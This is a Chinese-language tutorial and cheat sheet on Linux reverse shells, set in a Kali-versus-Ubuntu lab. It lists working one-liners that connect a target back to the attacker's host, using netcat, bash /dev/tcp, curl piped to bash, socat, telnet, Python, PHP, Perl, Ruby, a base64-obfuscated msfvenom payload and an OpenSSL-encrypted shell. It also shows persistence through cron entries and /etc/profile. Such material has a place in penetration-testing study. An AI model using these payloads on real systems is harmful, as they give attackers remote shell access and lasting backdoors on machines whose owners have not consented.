# Linux 反弹 shell 多种姿态
1 | 原理:反弹shell就是控制端监听在某TCP/UDP端口,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机 |
一般反弹 shell 分为两种
- 正向连接
用于情况一般为我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标 ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web 服务、ssh、telnet 等等都是正向连接。
- 反向连接
反弹 shell 通常适用于如下几种情况:
- 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
- 目标机端口被占用。
- 目标机位于局域网,或 IP 会动态变化,攻击机无法直接连接。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
实验坏境
攻击机:Kali(172.16.9.200)
目标主机:Ubuntu(172.16.9.199)
# 普通反弹 shell
攻击机开启本地监听
1 | nc -lvvp 3333 |
目标机主动连接攻击机
1 | netcat 172.16.9.200 3333 -e /bin/bash |
执行效果:
# 利用 Bash 反弹 shell
攻击机开启本地监听
1 | nc -lvvp 3333 |
目标机主动连接攻击机
1 | bash -i >& /dev/tcp/172.16.9.200/3333 0>&1 |
执行效果,直接获取到 bash
# Curl 配合 Bash 反弹 shell
攻击机开启本地监听
1 | nc -lvvp 3333 |
目标机 这里操作也很简单,借助了 Linux 中的管道
首先,在攻击者 vps 的 web 目录里面创建一个 index文件
(index.php 或 index.html),内容如下:
1 | vim /var/www/html/index.html |
并开启 3333 端口的监听,然后再目标机上执行如下,即可反弹 shell:
执行效果:
Curl 配合 Bash 反弹 shell 的方式在 CTF 题目中经常出现, curl IP|bash
中的 IP 可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。
# 写入定时任务反弹 shell
1 | 我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。 |
- 当前用户名为 root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos 系列主机)
- 当前用户名为 root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu 系列主机)
实现效果
# 写入 /etc/profile 文件反弹 shell
将以下反弹 shell 的命写入 /etc/profile 文件中,/etc/profile 中的内容会在用户打开 bash 窗口时执行。
1 | /bin/bash -i >& /dev/tcp/172.16.9.200/3333 0>&1 & |
当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的 shell:
# 利用 socat 反弹 shell
攻击机开启本地监听
1 | socat TCP-LISTEN:2222 - 或 |
目标机主动连接主机
1 | socat tcp-connect:172.16.9.200:2222 exec:'bash -li',ptr,stderr,setsid,sight,sane |
实现效果
# 利用 telnet 反弹 shell
攻击机开启本地监听
1 | nc -lvvp 2222 |
目标机主动连接主机
1 | mknod a p; telnet 172.16.9.200 2222 0<a | /bin/bash 1>a |
实现效果
# 各种脚本反弹 shell
# python 脚本反弹 shell
攻击机开启本地监听
1 | nc -lvvp 2222 |
目标机主动连接主机
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.9.200",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
# php 脚本反弹 shell
攻击机开启本地监听
1 | nc -lvvp 2222 |
目标机主动连接主机 (一)
1 | php -r '$sock=fsockopen("172.16.9.200",2222);exec("/bin/sh -i <&3 >&3 2>&3");' |
目标机主动连接主机 (二)
1 | php -r 'exec("/bin/bash -i >& /dev/tcp/172.16.9.200/2222 0>&1");' |
实现效果
# perl 脚本反弹 shell
攻击机开启本地监听
1 | nc -lvvp 2222 |
目标主机连接攻击机
1 | perl -e 'use Socket;$i="172.16.9.200";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
实现效果
# Ruby 脚本反弹 shell
攻击机开启本地监听
1 | nc -lvvp 2222 |
目标主机连接攻击机
1 | ruby -rsocket -e 'c=TCPSocket.new("172.16.9.200","2222");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
实现效果
# 利用 metasploit 生成反弹 shell 一句话
攻击机开启本地监听
1 | nc -lvvp 2222 |
我们直接可以使用 msfvenom -l 结合关键字过滤(如 = cmd/unix/reverse),列出我们需要生成的各类反弹 shell 一句话的 payload:
1 | msfvenom -l payloads | grep 'cmd/unix/reverse' |
生成一个 python 反弹 shell 的一句话
1 | msfvenom -p cmd/unix/reverse_python LHOST=172.16.9.200 LPORT=3333 -f raw > shell.py |
将 shell.py 内容复制到目标主机进行执行
目标主机执行
1 | python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAgICAgLCAgICAgc3VicHJvY2VzcyAgICAgICAgLCAgICAgb3MgIDsgICAgICAgICBob3N0PSIxNzIuMTYuOS4yMDAiICA7ICAgICAgICAgcG9ydD0yMjIyICA7ICAgICAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgICAgICAsICAgICBzb2NrZXQuU09DS19TVFJFQU0pICA7ICAgICAgICAgcy5jb25uZWN0KChob3N0ICAgICAgICAsICAgICBwb3J0KSkgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgICwgICAgIDApICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgICAsICAgICAxKSAgOyAgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAgICAgLCAgICAgMikgIDsgICAgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik=')[0]))" |
实现效果
# 利用 OpenSSL 反弹加密 shell
如果我们需要对通信的内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密的 shell。
首先在攻击机 kali 生成自签名证书
1 | openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes |
利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口
1 | openssl s_server -quiet -key key.pem -cert cert.pem -port 2222 |
目标机进行反弹 shell 操作
1 | mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.9.200:2222 > /tmp/s; rm /tmp/s |
# 扩展反弹 shell 后获取终端
1 | python -c 'import pty;pty.spawn("/bin/bash")' |